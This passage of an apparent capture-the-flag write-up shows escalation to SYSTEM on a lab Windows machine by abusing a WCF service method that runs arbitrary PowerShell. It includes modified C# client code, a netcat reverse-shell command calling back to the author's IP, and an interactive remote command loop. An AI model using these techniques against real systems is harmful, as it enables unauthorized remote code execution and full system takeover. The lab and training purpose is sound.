RemotingLibrary

This project has two classes, but I’m most interested in Remoting, which is referenced in the server, and defines the three functions seen in the client, as well as two more:

image-20210420210842731

The first four don’t take any input, and just print. But InvokePowerShell is interesting:

public string InvokePowerShell(string scriptText)
{
    Runspace runspace = RunspaceFactory.CreateRunspace();
    runspace.Open();
    Pipeline pipeline = runspace.CreatePipeline();
    pipeline.Commands.AddScript(scriptText);
    pipeline.Commands.Add("Out-String");
    Collection <PSObject> results = pipeline.Invoke();
    runspace.Close();
    StringBuilder stringBuilder = new StringBuilder();
    foreach (PSObject obj in results)
    {
        stringBuilder.AppendLine(obj.ToString());
    }
    return stringBuilder.ToString();
}

It takes text and runs it as PowerShell.

Run Client

First I want to build the client without any changes. I’ll set it to Release and Any CPU, and do Build –> Clean Solution, and then Build –> Build Solution:

image-20210420212600087

It works. Before I run it, I’ll make one more small change to the Client, by changing the Wcf endpoint from localhost to the IP of Sharp so I can run it from my terminal:

new NetTcpBinding(SecurityMode.Transport),"net.tcp://10.10.10.219:8889/wcf/NewSecretWcfEndpoint"

I’ll clean and build again, and it works.

If I try to run this in a normal terminal, it spits a wall of errors:

PS > .\WcfClient.exe

Unhandled Exception: System.ServiceModel.Security.SecurityNegotiationException: The server has rejected the client credentials. ---> System.Security.Authentication.InvalidCredentialException: The server has rejected the client credentials. ---> System.ComponentModel.Win32Exception: The logon attempt failed
   --- End of inner exception stack trace ---
   at System.Net.Security.NegoState.ProcessReceivedBlob(Byte[] message, LazyAsyncResult lazyResult)
   at System.Net.Security.NegoState.StartReceiveBlob(LazyAsyncResult lazyResult)
   at System.Net.Security.NegoState.CheckCompletionBeforeNextReceive(LazyAsyncResult lazyResult)
   at System.Net.Security.NegoState.StartSendBlob(Byte[] message, LazyAsyncResult lazyResult)
   at System.Net.Security.NegoState.CheckCompletionBeforeNextSend(Byte[] message, LazyAsyncResult lazyResult)
   at System.Net.Security.NegoState.ProcessReceivedBlob(Byte[] message, LazyAsyncResult lazyResult)
   at System.Net.Security.NegoState.StartReceiveBlob(LazyAsyncResult lazyResult)
...[snip]...

The server rejected my credentials. As I noted above, I’ll want to run this as lars. I could upload this to Sharp and run it there, or just run it in a /netonly PowerShell session like above. When I do that, it works, printing the output of the three commands from the client:

PS > .\WcfClient.exe

DeviceID         Free(GB)        Total(GB)
--------         --------        ---------
C:       28.2250862121582 39.5097618103027


Physical Processors : 2
Logical Processors  : 2



Total Memory(GB) : 3
Free Memory(GB)  : 3

InvokePowerShell POC

I noted that there’s an unused function, InvokePowerShell, in the RemotingLibrary that looks interesting. I’ll add a ling to the Main function in the client:

public static void Main() {
    ChannelFactory<IWcfService> channelFactory = new ChannelFactory<IWcfService>(
        new NetTcpBinding(SecurityMode.Transport),"net.tcp://10.10.10.219:8889/wcf/NewSecretWcfEndpoint"
    );
    IWcfService client = channelFactory.CreateChannel();
    Console.WriteLine(client.GetDiskInfo());
    Console.WriteLine(client.GetCpuInfo());
    Console.WriteLine(client.GetRamInfo());
    Console.WriteLine(client.InvokePowerShell("ping 10.10.14.14"));
}

On building that and running it, it returns the output from the ping, and Wireshark records the pings as well:

PS > .\WcfClient.exe

DeviceID        Free(GB)        Total(GB)
--------        --------        ---------
C:       28.225025177002 39.5097618103027



Physical Processors : 2
Logical Processors  : 2



Total Memory(GB) : 3
Free Memory(GB)  : 3



Pinging 10.10.14.14 with 32 bytes of data:
Reply from 10.10.14.14: bytes=32 time=18ms TTL=127
Reply from 10.10.14.14: bytes=32 time=19ms TTL=127
Reply from 10.10.14.14: bytes=32 time=18ms TTL=127
Reply from 10.10.14.14: bytes=32 time=17ms TTL=127

Ping statistics for 10.10.14.14:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 17ms, Maximum = 19ms, Average = 18ms

The pings reach my VM as well:

image-20210420213316734

Shell as System

I’ll update the Main function to use the nc64.exe already on Sharp:

public static void Main() {
    ChannelFactory<IWcfService> channelFactory = new ChannelFactory<IWcfService>(
        new NetTcpBinding(SecurityMode.Transport),"net.tcp://10.10.10.219:8889/wcf/NewSecretWcfEndpoint"
    );
    IWcfService client = channelFactory.CreateChannel();
    Console.WriteLine(client.InvokePowerShell("C:\\programdata\\nc64.exe -e powershell 10.10.14.14 443"));
}

After building and running, I get a shell as System:

PS > .\nc64.exe -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.219] 49691
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
nt authority\system

And I can grab root.txt:

PS C:\users\administrator\desktop> cat root.txt
79cb88f4************************

Shell Via WCF

Sharp is offering a WCF service that will take a string and execute it as PowerShell. There’s nothing to stop me from writing a shell just using that. To start, I can edit Main to prompt for a command, and then send that:

public static void Main()
{
    string line;
    ChannelFactory<IWcfService> channelFactory = new ChannelFactory<IWcfService>(
        new NetTcpBinding(SecurityMode.Transport), "net.tcp://10.10.10.219:8889/wcf/NewSecretWcfEndpoint"
    );
    IWcfService client = channelFactory.CreateChannel();
    Console.Write("> ");
    line = Console.ReadLine();
    Console.Write(client.InvokePowerShell(line));
}

Running it, I’ll give it whoami, and the result comes back:

PS > .\WcfClient.exe
> whoami
nt authority\system
PS >

I can wrap that in a while (true) loop:

public static void Main()
{
    string line;
    ChannelFactory<IWcfService> channelFactory = new ChannelFactory<IWcfService>(
        new NetTcpBinding(SecurityMode.Transport), "net.tcp://10.10.10.219:8889/wcf/NewSecretWcfEndpoint"
    );
    IWcfService client = channelFactory.CreateChannel();
    while (true)
    {
        Console.Write("> ");
        line = Console.ReadLine();
        Console.Write(client.InvokePowerShell(line));
    }
}

Now it will continually prompt for commands and run them:

PS > .\WcfClient.exe
> whoami
nt authority\system

> dir C:\users

    Directory: C:\users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       11/15/2020   5:53 PM                Administrator
d-----        12/1/2020   1:52 PM                lars
d-r---       10/30/2020   8:45 AM                Public


>

I’ll leave it here, but there are other improvements one could make:

  • Track a working directory, and execute something like cd $working; $cmd;
  • Add error handling so the shell doesn’t exit when something returns an error;
  • The shell breaks if the returned information is too long, but there is surely a way to run the command and get the output in chunks.